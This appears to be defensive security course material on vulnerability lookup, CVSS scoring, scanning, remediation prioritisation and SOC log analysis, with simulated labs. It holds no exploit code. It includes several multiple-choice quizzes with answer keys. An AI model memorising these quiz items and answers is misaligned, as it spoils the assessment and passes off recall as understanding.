Exploit-DB, maintained by OffSec, archives public proofs of concept and exploits, and the command line tool searchsploit searches an offline copy. Metasploit modules also reference CVE IDs. The CISA Known Exploited Vulnerabilities (KEV) catalog is a short list of CVEs with confirmed exploitation in the wild, each with a required remediation date for US federal agencies under BOD 22-01. Defenders treat KEV membership as a strong signal. The existence of public exploit code is not the same as active exploitation, but it lowers the skill needed by attackers.

Doing a lookup

A typical workflow starts with a product and version found by a scan, such as a web server banner. You search NVD or the vendor site for that version, note matching CVE IDs, check the CWE to understand the weakness type, read the CVSS vector for exposure, and check whether the CVE appears in KEV or Exploit-DB. Then you confirm the fixed version in the vendor advisory. Be careful with version matching: distributions such as Debian or Red Hat often backport fixes without changing the version number, so a banner can look vulnerable when the package is already patched.

TERMINAL OUTPUT

```
$ searchsploit examplehttpd 2.4
-----
Exploit Title | Path
-----
ExampleHTTPd 2.4.1 - Path Trav.. | multiple/webapps/50001.txt
ExampleHTTPd < 2.4.3 - Overflow | linux/remote/50120.py
-----
```

WORKED EXAMPLE

An analyst sees a scan note that the host 192.0.2.20 runs ExampleHTTPd 2.4.1. Searching NVD shows CVE-2023-00001 with CWE-22 (path traversal), score 7.5, fixed in 2.4.3. KEV has no entry, but Exploit-DB lists a public proof of concept. The analyst checks the vendor advisory, sees that the OS vendor backported the fix to package 2.4.1-3, confirms the package version on the host, and marks the finding as a false positive with evidence rather than patching blindly.

KEY TERMS

CVE: A unique public identifier for a specific vulnerability.

CWE: A catalogue of weakness types such as injection or buffer errors.

NVD: NIST's database that adds scores and product data to CVE records.

CPE: A naming scheme that identifies affected products and versions.

KEV: CISA's catalog of vulnerabilities known to be exploited in the wild.

searchsploit: A command line tool that searches a local copy of Exploit-DB.

REMEMBER

- CVE names a flaw, CWE names the weakness type, NVD adds scores and product data.
- KEV and Exploit-DB tell you about exploitation and public exploit code.
- Verify patch status in the vendor advisory, especially with backports.

QUICK CHECK

1. What does CWE-89 describe?
 - A) A specific product bug
 - B) A weakness class: SQL injection
 - C) A scoring formula
 - D) A patch release
2. Which database adds CVSS scores and CPE data to CVE records?
 - A) Exploit-DB
 - B) NVD
 - C) KEV
 - D) MISP
3. Why can a banner showing an old version be misleading?
 - A) Banners are always encrypted
 - B) Distributions may backport fixes without changing the version
 - C) CVE IDs expire
 - D) CVSS changes daily
4. What does KEV membership indicate?
 - A) The flaw has a high CVSS score
 - B) The flaw is confirmed as exploited in the wild
 - C) The flaw has no patch
 - D) The flaw is in a Windows product

Answers: 1-B 2-B 3-B 4-B

1. CWE classifies weakness types, and CWE-89 is SQL injection.
2. NIST's NVD enriches CVE entries with scores and product data.
3. Backported patches keep the upstream version number while removing the flaw.
4. KEV lists only vulnerabilities with evidence of active exploitation.

CVSS scoring

CVSS gives a common language for severity, but you must be able to read it rather than trust a single number.

What CVSS measures

The Common Vulnerability Scoring System (CVSS) rates the technical severity of a vulnerability from 0.0 to 10.0. Version 3.1 is widely used, and version 4.0 is newer and adds extra metric groups. The base score describes properties that do not change over time or between organizations. Temporal metrics (exploit maturity, remediation level) and environmental metrics (your own asset importance and controls) can adjust it. Remember that CVSS measures severity, not risk: it knows nothing about your assets or whether attackers are active.

Reading the base vector

A v3.1 vector looks like CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. AV is Attack Vector: Network, Adjacent, Local or Physical. AC is Attack Complexity: Low or High. PR is Privileges Required: None, Low or High. UI is User Interaction: None or Required. S is Scope: Unchanged or Changed, meaning whether the flaw lets an attacker affect resources beyond the vulnerable component. C, I and A are the impacts on Confidentiality, Integrity and Availability, each None, Low or High. Network, low complexity, no privileges and no user interaction push the score up.

Severity bands

The numeric score maps to bands: 0.0 is None, 0.1 to 3.9 Low, 4.0 to 6.9 Medium, 7.0 to 8.9 High and 9.0 to 10.0 Critical. The vector above scores 9.8, Critical. Change UI to Required and the score drops to 8.8, High, because the attacker needs a victim to act. A local flaw needing low privileges with full impact (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) scores 7.8. A network flaw that only leaks a little data (C:L/I:N/A:N) scores 5.3, Medium. Changed scope with full impact reaches 10.0.

Using scores sensibly

Calculators on the FIRST website or NVD compute the score from the vector, so you never need to do the arithmetic by hand, but you should predict the direction of a change. Scores from vendors, NVD and scanners can differ, because each analyst may choose metrics differently. Treat CVSS as one input. A 9.8 on a service nobody can reach may matter less than a 7.5 on a server under active attack. Always keep the vector with the score, since the vector explains why the number is high and tells you which controls, such as network segmentation, would reduce exposure.

VECTOR BREAKDOWN

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AV:N reachable over the network
AC:L no special conditions
PR:N no account needed
UI:N no victim action
S:U impact stays in component
C/I/A:H full impact
Score 9.8 = Critical
```

WORKED EXAMPLE

A scanner reports two findings. Finding one has vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, a browser flaw requiring a click, score 8.8. Finding two has AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, a local privilege escalation, score 7.8. Both are High. The analyst notes that finding one is reachable from outside but needs user action, while finding two matters mainly after an attacker already has a foothold. Both go on the queue, with the browser flaw first on workstations that browse the web.

KEY TERMS

Base score: The severity value based on intrinsic properties of the flaw.

Attack Vector (AV): How remote the attacker can be: network, adjacent, local or physical.

Scope (S): Whether exploitation affects resources beyond the vulnerable component.

Environmental metrics: Adjustments reflecting your own assets and controls.

Critical band: Scores from 9.0 to 10.0 in CVSS v3.1.

Vector string: The compact text listing every metric value behind a score.

REMEMBER

- Read the vector, not just the number.
- Bands: Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0.
- CVSS measures severity, not risk.

QUICK CHECK

1. A CVSS score of 7.4 falls into which v3.1 band?
 - A) Medium
 - B) High
 - C) Critical
 - D) Low
2. In the vector, what does PR:N mean?
 - A) Physical access required
 - B) No privileges required
 - C) Patch released
 - D) Network reachable only
3. Changing UI:N to UI:R generally does what to the score?
 - A) Raises it
 - B) Lowers it
 - C) Leaves it unchanged
 - D) Makes it zero
4. CVSS base score is best described as a measure of:
 - A) Business risk to your company
 - B) Technical severity of the flaw
 - C) Probability of exploitation
 - D) Patch cost

Answers: 1-B 2-B 3-B 4-B

1. 7.0 to 8.9 is High.
2. PR is Privileges Required and N means None.
3. Requiring user interaction makes exploitation harder, so the score falls.
4. CVSS rates severity; risk needs asset and threat context.

Scanning and the patching process

Scanning is how most organizations discover weaknesses, and the process around it decides whether findings actually get fixed.

What scanners do

A vulnerability scanner such as Nessus, OpenVAS (Greenbone) or Qualys probes hosts, identifies services and versions, and compares them against a database of known flaws and insecure configurations. Discovery scans find live hosts and open ports, while vulnerability scans check for specific issues. Web application scanners test pages for problems such as injection. Scanners should run only with written authorization, because probing can slow or crash fragile devices such as old printers or medical equipment. Schedule scans in agreed windows and tune their intensity.

Authenticated vs unauthenticated

An unauthenticated scan sees the system as an outside attacker does: open ports, banners and exposed services. An authenticated (credentialed) scan logs in with a read-only account using SSH, WinRM or SMB and inspects installed packages, patch levels, registry settings and local configuration. Credentialed scans are more accurate and produce fewer false positives, and they find missing patches on workstations that expose no services. The scanning account should have minimum rights, its password should be stored in a vault, and its use should be monitored like any privileged account.

False positives and negatives

A false positive is a reported issue that does not exist, for instance a banner match on a backported package. A false negative is a real flaw the scanner missed, such as one on a host that was offline or blocked by a firewall. Analysts validate findings by checking package versions, reading plugin output, or safely testing the condition. Record why a finding was dismissed so the next scan does not reopen it. Tuning scan policies and keeping plugin feeds updated reduce noise, but no scanner finds everything, so scans complement code review and testing.

From finding to fix

The remediation cycle is: discover assets, scan, validate, prioritize, assign an owner, fix, rescan to verify, and report. Fixes include patching, changing configuration, disabling a service or applying a compensating control. Service level agreements set deadlines, for example critical within 7 days, high within 30, medium within 90, though each policy differs. Changes go through change management, with testing and rollback plans, because a patch can break an application. Exceptions need an owner, a reason, a compensating control and an expiry date. Metrics such as mean time to remediate show whether the program works.

SCAN REPORT EXCERPT

```
Host: 192.0.2.30 Scan: credentialed
Plugin 10001 Severity: High
  Package openssl 1.1.1k-1 installed
  Fixed in 1.1.1n-0+deb11u3
Plugin 10002 Severity: Medium
  SMB signing not required
Plugin 10003 Severity: Info
  Host fingerprint: Debian 11
```

WORKED EXAMPLE

A weekly unauthenticated scan reports 40 high findings on a web farm, but a credentialed scan the next day lists only 9. The analyst compares them and finds that 31 were banner-based guesses on packages the vendor had patched. The 9 confirmed findings are grouped by fix: 6 need one OpenSSL package update, 3 need a configuration change. Owners are assigned, the critical item gets a 7 day SLA, and a rescan after the change window confirms closure.

KEY TERMS

Authenticated scan: A scan that logs in to inspect local patches and configuration.

False positive: A reported finding that is not actually present.

False negative: A real vulnerability the scanner failed to report.

Remediation SLA: The agreed deadline for fixing a finding by severity.

Compensating control: A substitute safeguard used when a direct fix is not possible.

Rescan: A follow-up scan that verifies a fix worked.

REMEMBER

- Use credentialed scans for accuracy and unauthenticated scans for the attacker view.
- Validate findings and record false positives.
- Close the loop with owners, SLAs and rescans.

QUICK CHECK

1. Which scan type usually has fewer false positives?
 - A) Unauthenticated
 - B) Authenticated
 - C) Ping sweep
 - D) Passive banner capture
2. A scanner misses a real flaw. This is a:
 - A) False positive
 - B) True positive
 - C) False negative
 - D) Compensating control
3. What is the last step of the remediation cycle?
 - A) Scan
 - B) Verify with a rescan and report
 - C) Prioritize
 - D) Assign an owner
4. An exception to an SLA should include:
 - A) Nothing, it is informal
 - B) An owner, reason, compensating control and expiry
 - C) Only a manager's verbal approval
 - D) Deleting the finding

Answers: 1-B 2-C 3-B 4-B

1. Credentialed scans read actual package and configuration data.
2. Missing a real issue is a false negative.
3. After fixing, you rescan to confirm closure and report.
4. Documented, time-limited exceptions keep risk visible.

Prioritization and bug bounty overview

You will never have time to fix everything, so ranking findings well is the skill that reduces real risk.

Why CVSS alone is not enough

Most organizations carry thousands of open findings, and a large share are rated High or Critical. Research on exploitation shows that only a small fraction of published CVEs are ever exploited in the wild. Sorting by CVSS therefore wastes effort on flaws that attackers ignore. Better programs add context: is the flaw being exploited now, how likely is exploitation, where is the asset, and what does the asset do for the business? This moves the work from patching by score to patching by risk.

Signals to combine

The CISA KEV catalog confirms real exploitation, so KEV items rise to the top, often with short deadlines. The Exploit Prediction Scoring System (EPSS) estimates the probability, from 0 to 1, that a CVE will be exploited in the next 30 days using data about threat activity. Public exploit code, ransomware usage and vendor warnings add weight. On the asset side, consider internet exposure, data sensitivity, business criticality, privileged access and available compensating controls. A simple matrix such as exposed plus KEV plus critical asset equals fix now, works well in practice.

Building a queue

Group findings by fix so one patch closes many items, and by owner so work is assignable. Typical tiers: emergency (KEV or active attack on exposed assets, hours to days), urgent (high EPSS or critical on crown-jewel assets, about 7 days), standard (30 days) and routine (next maintenance cycle). Where patching is impossible, use virtual patching with a web application firewall or intrusion prevention rule, isolate the host, or disable the feature. Review the queue regularly because EPSS values and KEV listings change as new information appears.

Disclosure and bug bounties

Not all vulnerabilities come from your scanner. Researchers may report flaws they find. Coordinated disclosure means the finder tells the vendor privately and allows a reasonable time, often 90 days, before publishing details. A security.txt file at /.well-known/security.txt tells researchers how to contact you. A vulnerability disclosure policy (VDP) sets expectations and safe-harbor language. Bug bounty programs, run directly or through platforms such as HackerOne or Bugcrowd, pay for valid reports within a defined scope. Testing outside the scope or the rules can be illegal, so always read the program terms first.

PRIORITIZATION TABLE

ID	CVSS	KEV	EPSS	Asset	Action
F-1	9.8	no	0.02	lab VM	routine
F-2	7.5	yes	0.91	public web srv	emergency 48h
F-3	8.1	no	0.40	HR database	urgent 7d
F-4	5.3	no	0.01	intranet wiki	standard 30d

WORKED EXAMPLE

The table above shows why F-2 beats F-1. The lab VM has the highest CVSS score but low exploitation probability and no business value. The public web server flaw has a lower score but appears in KEV and has an EPSS of 0.91, so it needs a fix within 48 hours or a virtual patch. The HR database finding follows because of data sensitivity. Documenting this logic lets the team defend its order to auditors and managers.

KEY TERMS

EPSS: A score estimating the probability that a CVE will be exploited within 30 days.

Virtual patching: Blocking an attack pattern at a WAF or IPS before the software is fixed.

Coordinated disclosure: Reporting a flaw privately to the vendor and allowing time to fix it.

security.txt: A standard file that tells researchers how to report vulnerabilities.

Bug bounty: A program that pays researchers for valid in-scope vulnerability reports.

Crown-jewel asset: A system whose compromise would seriously harm the business.

REMEMBER

- Rank by exploitation signals, exposure and asset value, not CVSS alone.
- Group by fix and owner; use tiers with SLAs.
- Disclosure and bounty programs have scope and safe-harbor rules.

QUICK CHECK

1. Which signal best shows a vulnerability is exploited right now?
 - A) High CVSS
 - B) KEV listing
 - C) Old CVE year
 - D) Long description
2. EPSS predicts:
 - A) Patch size
 - B) Probability of exploitation in the next 30 days
 - C) Network latency
 - D) Password strength
3. A good first step when a patch cannot be applied is:
 - A) Ignore the finding
 - B) Apply a compensating control such as a WAF rule or isolation
 - C) Delete the scanner
 - D) Lower the CVSS score
4. Where would a researcher look to find how to report a flaw to a company?
 - A) /.well-known/security.txt
 - B) /robots.txt only
 - C) The DNS zone file
 - D) The TLS certificate

Answers: 1-B 2-B 3-B 4-A

1. KEV lists vulnerabilities with confirmed exploitation.
2. EPSS gives a 0 to 1 exploitation probability over 30 days.
3. Compensating controls reduce likelihood until a fix is possible.
4. security.txt is the standard location for vulnerability contact details.

Score a CVSS vector

SCENARIO

You are a junior analyst at Example Corp. Four findings arrived from a vendor advisory without scores. You have a CVSS calculator in the simulator and must set the base metrics from the descriptions to learn how each choice moves the score.

OBJECTIVE

Choose base metrics for four vulnerabilities and rank them by resulting severity.

STEPS IN THE SIMULATOR

- 1 Do:** Open finding A: remote code execution in a public web app, no login, no click needed.
Simulator shows:
Calculator pre-fills nothing; metric panel ready.
- 2 Do:** Set AV:N, AC:L, PR:N, UI:N, S:U, C:H, I:H, A:H.
Simulator shows:
Score 9.8 Critical.
- 3 Do:** Open finding B: browser flaw needing the user to open a crafted page. Set UI:R, other metrics as A.
Simulator shows:
Score 8.8 High.
- 4 Do:** Open finding C: local privilege escalation from a low-privilege account. Set AV:L, PR:L, UI:N, S:U, C:H, I:H, A:H.
Simulator shows:
Score 7.8 High.
- 5 Do:** Open finding D: information leak over the network exposing minor data. Set AV:N, AC:L, PR:N, UI:N, S:U, C:L, I:N, A:N.
Simulator shows:
Score 5.3 Medium.
- 6 Do:** Click Compare to sort the four findings.
Simulator shows:
Order: A 9.8, B 8.8, C 7.8, D 5.3.

ANSWER

Scores are A 9.8 Critical, B 8.8 High, C 7.8 High and D 5.3 Medium. Moving UI to Required lowered B, requiring local access and privileges lowered C, and limiting impact to low confidentiality gave D a medium rating.

Hint shown in the app: Ask who can reach the flaw, what they need first, and how much damage results.

Triage scanner output

SCENARIO

A weekend scan of the 198.51.100.0/24 server range produced a 60-line report. Some entries are banner guesses on patched packages. You must clean the report before sending it to system owners.

OBJECTIVE

Remove false positives and group the remaining findings by host and fix.

STEPS IN THE SIMULATOR

- 1 **Do:** Open scan_report.csv in the file explorer.

Simulator shows:

60 rows shown with columns host, plugin, severity, evidence.

- 2 **Do:** Filter rows where evidence says 'banner only'.

Simulator shows:

22 rows match, all on hosts 198.51.100.10 and .11.

- 3 **Do:** Open the package notes for .10 and compare version.

Simulator shows:

Package 2.4.1-3 includes the backported fix; mark as false positive.

- 4 **Do:** Mark the 22 banner rows as False Positive with a note.

Simulator shows:

Rows turn grey; 38 rows remain.

- 5 **Do:** Group the remaining rows by host.

Simulator shows:

Groups: .12 (14 rows), .13 (16 rows), .14 (8 rows).

- 6 **Do:** Group again by fix.

Simulator shows:

Three fixes: OpenSSL update (24 rows), SMB signing config (9), outdated PHP (5).

ANSWER

After removing 22 banner-based false positives, 38 findings remain. They collapse into three fixes: an OpenSSL update, an SMB signing configuration change, and a PHP upgrade, spread over hosts .12 to .14. Owners can now act on three tasks instead of 60 lines.

Hint shown in the app: Banner-only evidence on a backported package is the usual false positive.

Search CVE records

SCENARIO

A sandbox host at 192.0.2.50 runs a service that announces itself as 'ExampleFTPD 1.3.2'. You are authorized to look up known vulnerabilities from the terminal, without touching the host further.

OBJECTIVE

Find known vulnerabilities for the service banner using searchsploit and a CVE lookup.

STEPS IN THE SIMULATOR

- 1 **Do:** Type: searchsploit exampleftpd 1.3

Simulator shows:

Two results: 'ExampleFTPD 1.3.2 - Backdoor' and 'ExampleFTPD 1.3.x - Dir Traversal'.

- 2 **Do:** Type: searchsploit -x 1 (view first entry notes)

Simulator shows:

Notes mention CVE-2011-90001 and a trojaned source tarball.

- 3 **Do:** Type: cvelookup CVE-2011-90001

Simulator shows:

CWE-506 Embedded Malicious Code, CVSS 9.8 Critical, fixed in 1.3.3.

- 4 **Do:** Type: cvelookup --kev CVE-2011-90001

Simulator shows:

Not found in KEV catalog.

- 5 **Do:** Type: cvelookup CVE-2012-90002

Simulator shows:

CWE-22 path traversal, CVSS 5.3 Medium, fixed in 1.3.4.

- 6 **Do:** Type: report --summary

Simulator shows:

Recommend upgrade to 1.3.4 or later and verify package integrity.

ANSWER

The banner matches a backdoor flaw (CVE-2011-90001, Critical 9.8, CWE-506) and a traversal flaw (CVE-2012-90002, Medium 5.3, CWE-22). Neither is in KEV in the sandbox. The fix is upgrading to 1.3.4 or later and verifying the package source.

Hint shown in the app: Search the product and the major.minor version, then read each entry's CVE ID.

Rank the remediation queue

SCENARIO

Eight findings sit in the queue for Example Corp. You have CVSS, KEV status, EPSS and asset criticality for each, and the SLA policy: emergency 2 days, urgent 7, standard 30, routine 90.

OBJECTIVE

Order the eight findings and assign an SLA to each.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the queue; sort by CVSS only.

Simulator shows:

F1 9.8 lab VM tops the list; F5 7.5 public web server is fourth.

- 2 **Do:** Add the KEV column.

Simulator shows:

F5 and F7 show KEV = yes.

- 3 **Do:** Add EPSS and asset criticality.

Simulator shows:

F5 EPSS 0.91 on public web; F7 EPSS 0.78 on VPN gateway; F1 EPSS 0.02 on lab VM.

- 4 **Do:** Drag F5 and F7 to the top and set SLA Emergency 2 days.

Simulator shows:

Both marked Emergency.

- 5 **Do:** Set F3 (HR database, 8.1, EPSS 0.40) to Urgent 7 days.

Simulator shows:

SLA saved.

- 6 **Do:** Set F1, F2, F4 by value: F2 Standard 30 days, F1 and F4 Routine 90 days.

Simulator shows:

SLAs saved.

- 7 **Do:** Submit the order.

Simulator shows:

Checker: Order accepted. Reasoning matches exposure and KEV.

ANSWER

Final order: F5 and F7 (KEV, exposed, emergency 2 days), F3 (sensitive data, urgent 7 days), F2 (standard 30), then F1 and F4 (routine 90). F1 has a high CVSS score but low exploitation probability and no business value.

Hint shown in the app: Put KEV on exposed assets first, then sensitive data, and push isolated low-value items last.

Vulnerability Management: 10 questions, 80% to pass

1. What is the difference between a vulnerability and a threat?
 - A) They are the same
 - B) A vulnerability is a weakness; a threat is something that could exploit it
 - C) A threat is a patch
 - D) A vulnerability is an attacker
2. Risk is commonly expressed as:
 - A) Likelihood x impact
 - B) CVSS + EPSS
 - C) Patches / hosts
 - D) Assets - threats
3. CWE-79 identifies:
 - A) A product version
 - B) Cross-site scripting weakness class
 - C) A scanner plugin
 - D) A patch bulletin
4. Which organization runs the NVD?
 - A) CISA
 - B) NIST
 - C) OWASP
 - D) IANA
5. In the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, the severity band is:
 - A) Medium
 - B) High
 - C) Critical
 - D) Low
6. Which scan finds missing local patches most reliably?
 - A) Unauthenticated port scan
 - B) Credentialed scan
 - C) Ping sweep
 - D) Banner grab
7. A finding reported on a patched, backported package is a:
 - A) False positive
 - B) False negative
 - C) Zero-day
 - D) Exploit
8. The strongest sign that a CVE is being used by attackers today is:
 - A) High CVSS
 - B) KEV listing
 - C) Low complexity
 - D) Old CVE ID
9. A bug bounty researcher should:
 - A) Test anything on the internet
 - B) Stay within the program scope and rules
 - C) Publish immediately
 - D) Avoid reporting
10. After applying a patch, the final verification step is:
 - A) Delete the ticket
 - B) Rescan to confirm the fix
 - C) Lower the SLA
 - D) Disable logging

Answers: 1-B 2-A 3-B 4-B 5-C 6-B 7-A 8-B 9-B 10-B

1. The weakness and the actor or event are separate concepts.
2. Risk combines how likely harm is with how bad it would be.
3. CWE-79 is cross-site scripting.
4. The National Vulnerability Database is run by NIST.
5. This vector scores 9.8, in the Critical band.
6. Logging in lets the scanner read installed packages.
7. The issue is reported but is not actually present.
8. KEV requires evidence of exploitation in the wild.
9. Testing outside scope can be illegal and void safe harbor.
10. A rescan confirms the vulnerability is closed.

Defensive Security Intro

Intermediate | 7 lessons | 5 simulated labs | checkpoint | about 5h 35m

This module covers the blue team daily work: collecting and searching logs, using a SIEM, triaging alerts as a SOC analyst, enriching them with threat intelligence, and responding to incidents with the NIST lifecycle. You will also learn the basics of digital forensics and evidence handling, and finish by writing a detection rule and a runbook. These skills turn raw events into decisions and form the core of entry-level SOC, incident response and DFIR jobs.

BY THE END YOU CAN

- + Search and correlate logs in a SIEM
- + Triage alerts and escalate correctly
- + Follow incident response phases and preserve evidence

IN THIS MODULE

Lesson 1 Logging and monitoring fundamentals

Lesson 2 SIEM basics

Lesson 3 SOC roles and alert triage

Lesson 4 Threat intelligence intro

Lesson 5 Incident response lifecycle

Lesson 6 Digital forensics fundamentals

Lesson 7 Detection use cases and playbooks

Lab 1 Hunt failed logins in a SIEM (Mock SIEM)

Lab 2 Triage a phishing alert (Mock SIEM)

Lab 3 Analyze a Linux auth.log (Log viewer)

Lab 4 Contain a compromised host (Scenario)

Lab 5 Preserve evidence (File explorer)

Checkpoint 10 questions, 80% to pass

Logging and monitoring fundamentals

You cannot detect or investigate what you did not record, so knowing where logs come from and how long to keep them is the base of all defense.

Key log sources

Windows records events in the Security, System and Application logs. Important Security Event IDs include 4624 (successful logon), 4625 (failed logon), 4648 (logon with explicit credentials), 4672 (special privileges assigned), 4688 (process creation), 4720 (user account created), 4732 (member added to a local group) and 1102 (audit log cleared). Linux systems write to syslog and journald, with authentication events in `/var/log/auth.log` on Debian-based systems or `/var/log/secure` on Red Hat. Each entry shows time, host, program and message, and the facility and severity define its category.

Network and application sources

Beyond hosts, defenders collect firewall logs (allowed and denied connections), proxy logs (URLs, user agents, bytes transferred), DNS logs (queried names, useful for spotting malware domains), DHCP logs (which device held which IP at which time), VPN and identity provider logs (sign-ins, MFA results), email gateway logs, web server access logs and cloud audit trails such as AWS CloudTrail. Endpoint detection and response (EDR) tools add process trees and file activity. Together they let an analyst follow one user or one IP across several systems.

Time, format and retention

Correlation only works if clocks agree. Every device should sync to trusted NTP servers and log in UTC, otherwise events from different systems cannot be lined up. Standard formats such as syslog (RFC 5424), JSON, CEF and Windows Event XML make parsing easier. Logs should be forwarded to a central collector quickly because attackers often clear local logs. Retention depends on need and regulation: hot storage for recent searches, such as 30 to 90 days, and archives for a year or more. PCI DSS, for example, requires at least one year of audit log history with three months immediately available.

Protecting and tuning logging

Log integrity matters. Restrict who can delete logs, forward them to a separate system, and alert on log clearing (Event ID 1102) or a stopped logging service. Decide what to log with purpose: too little leaves blind spots, too much hides signals and raises storage costs. Enable useful audit policies, such as process creation with command line, which is off by default on Windows. Keep sensitive data like passwords out of logs. A baseline of normal volume per source also helps you notice when a source suddenly goes quiet, which can mean failure or tampering.

WINDOWS EVENT EXCERPT

```
EventID=4625 Computer=WS-014.example.com
Time=2026-03-10T09:14:02Z
Account=jdoe LogonType=3
SourceIP=203.0.113.45
Status=0xC000006D SubStatus=0xC000006A
(wrong password for existing user)
```

WORKED EXAMPLE

A help desk reports that user jdoe is locked out. The analyst searches the domain controller for Event ID 4740 and sees the lockout came from WS-014, then finds many 4625 events with logon type 3 from 203.0.113.45 over ten minutes. Time sync between hosts is correct, so the sequence is trustworthy. The analyst concludes someone is guessing the password over the network and escalates, rather than just unlocking the account.

KEY TERMS

Event ID 4625: Windows event recording a failed logon attempt.

Syslog: A standard protocol and format for forwarding log messages.

NTP: Network Time Protocol, used to keep clocks synchronized.

Retention: How long logs are kept before deletion.

Log forwarding: Sending logs to a central collector as they are created.

EDR: Endpoint tooling that records process and file activity.

REMEMBER

- Know the key sources: host, network, identity, cloud and application logs.
- Sync clocks, centralize logs and protect them from tampering.
- Set retention to meet investigation and compliance needs.

QUICK CHECK

1. Which Windows Security Event ID records a failed logon?
 - A) 4624
 - B) 4625
 - C) 4688
 - D) 1102
2. Why must clocks be synchronized across devices?
 - A) To reduce disk usage
 - B) So events from different systems can be correlated in order
 - C) To encrypt logs
 - D) To avoid DNS caching
3. Event ID 1102 signals:
 - A) A new service
 - B) The audit log was cleared
 - C) A password change
 - D) A group change
4. Which Linux file usually holds SSH login events on Debian systems?
 - A) /etc/passwd
 - B) /var/log/auth.log
 - C) /tmp/ssh
 - D) /boot/grub

Answers: 1-B 2-B 3-B 4-B

1. 4625 is a failed logon; 4624 is a success.
2. Correlation depends on consistent timestamps.
3. Clearing the log is a common attacker cleanup step and should alert.
4. auth.log records authentication events on Debian-based systems.

SIEM basics

A SIEM turns millions of scattered events into searchable, correlated evidence that analysts can act on.

What a SIEM does

A Security Information and Event Management (SIEM) platform such as Splunk, Elastic Security, Microsoft Sentinel or QRadar collects logs from many sources, stores them, and lets analysts search, visualize and alert on them. Collection happens through agents (Splunk Universal Forwarder, Elastic Beats), syslog listeners, APIs or cloud connectors. The platform centralizes data so one query can cover firewalls, servers and identity providers, and its retention and access controls support audits.

Ingestion and normalization

Raw logs from different vendors look different. Parsing extracts fields, and normalization maps them to a common schema, so that source address is always `src_ip` whether it came from a firewall or a web server. Elastic uses the Elastic Common Schema (ECS) and Splunk uses the Common Information Model (CIM). Good normalization lets one rule work across products. Timestamps are converted to a standard form, and events are tagged with source type, host and index. Parsing failures leave fields empty, which silently breaks searches, so analysts check that expected fields exist.

Searching and correlation

Searching uses a query language: Splunk's SPL, Elastic's KQL or Lucene, and Sentinel's KQL. A simple search filters by field, then counts and groups results. For example, count failed logons by source IP over 10 minutes. Correlation rules combine events: many failures followed by a success for the same account, or a login from two countries within an hour. Rules run on a schedule or in real time and create alerts with a severity. Dashboards give an overview, and saved searches support repeatable hunts.

Tuning and limits

A SIEM is only as good as its data and rules. Poorly tuned rules create alert fatigue, where analysts ignore noise and miss real attacks. Tuning means adding allow lists for known scanners, adjusting thresholds and enriching with asset information. Missing log sources create blind spots, and clock or parsing errors create false trails. Many teams pair the SIEM with SOAR (Security Orchestration, Automation and Response) to automate repetitive steps such as looking up an IP reputation. Measure usefulness with the false positive rate and the time from event to alert.

SPL-STYLE QUERY

```
index=wineventlog EventCode=4625
| bucket _time span=10m
| stats count by _time, src_ip, user
| where count > 20
| sort - count
```

WORKED EXAMPLE

The query above groups failed logons into 10 minute buckets by source IP and user and keeps those with more than 20 failures. Running it returns 203.0.113.45 with 143 failures against 12 different users, which is password spraying rather than a single user forgetting a password. The analyst converts the query into a scheduled correlation rule with a threshold of 20, adds an allow list for the vulnerability scanner at 192.0.2.99, and sets severity to medium.

KEY TERMS

SIEM: A platform that collects, stores, searches and correlates security logs.

Normalization: Mapping fields from different sources to a common schema.

Correlation rule: Logic that links several events into one alert.

SPL: Splunk's Search Processing Language.

SOAR: Tooling that automates response and enrichment steps.

Alert fatigue: Analyst desensitization caused by too many low-value alerts.

REMEMBER

- A SIEM centralizes, parses, normalizes, searches and correlates logs.

- Query languages count, group and filter events to reveal patterns.
- Tune rules and keep sources healthy to avoid noise and blind spots.

QUICK CHECK

1. What does normalization achieve in a SIEM?
 - A) Deletes old logs
 - B) Maps fields from different sources to common names
 - C) Encrypts events
 - D) Speeds up the network
2. Which is an example of a correlation rule?
 - A) Storing a log
 - B) Many failed logins followed by a success for one account
 - C) Viewing a dashboard
 - D) Syncing time
3. What problem does poor tuning cause?
 - A) Faster searches
 - B) Alert fatigue
 - C) Better coverage
 - D) Shorter retention
4. A SOAR platform mainly:
 - A) Replaces firewalls
 - B) Automates repetitive response and enrichment tasks
 - C) Stores backups
 - D) Issues certificates

Answers: 1-B 2-B 3-B 4-B

1. A common schema lets one query or rule work across sources.
2. Correlation links multiple events to find a pattern.
3. Too many noisy alerts cause analysts to ignore real ones.
4. SOAR runs playbooks to automate routine steps.

SOC roles and alert triage

Triage is the skill that decides whether an alert becomes an incident, and doing it consistently protects both the organization and the analyst's time.

SOC tiers and roles

A Security Operations Center (SOC) monitors and responds around the clock. Tier 1 analysts watch the queue, validate alerts and close false positives or escalate. Tier 2 analysts perform deeper investigation, scoping and containment. Tier 3 analysts or threat hunters handle advanced incidents, malware analysis, detection engineering and proactive hunting. The SOC manager owns process and metrics, and an incident commander leads a major event. Other roles include threat intelligence analysts and detection engineers. Clear escalation criteria prevent both hero work and silent delays.

The triage steps

A repeatable method keeps decisions consistent. First, validate: is the alert real and complete, and what exactly fired? Second, scope: which users, hosts and time range are involved, and is it still happening? Third, enrich: look up the IP, domain or file hash in threat intelligence, check the asset's owner and criticality, and see what else the host did. Fourth, classify: true positive, false positive, benign true positive (real activity that is allowed, such as an admin scan) or undetermined. Fifth, act: close with notes, escalate or contain. Write down evidence at each step.

Priority and escalation

Priority combines severity and business impact. A malware alert on a domain controller outranks the same alert on a lab laptop. Escalate when you find confirmed compromise, sensitive data involvement, privileged accounts, spread to several hosts or any legal or regulatory trigger. Include in the handoff what you saw, what you checked, what you think and what you need. Service level targets, such as acknowledge within 15 minutes for critical alerts, keep the queue healthy. Never close an alert you do not understand just to reduce the backlog.

Documenting and improving

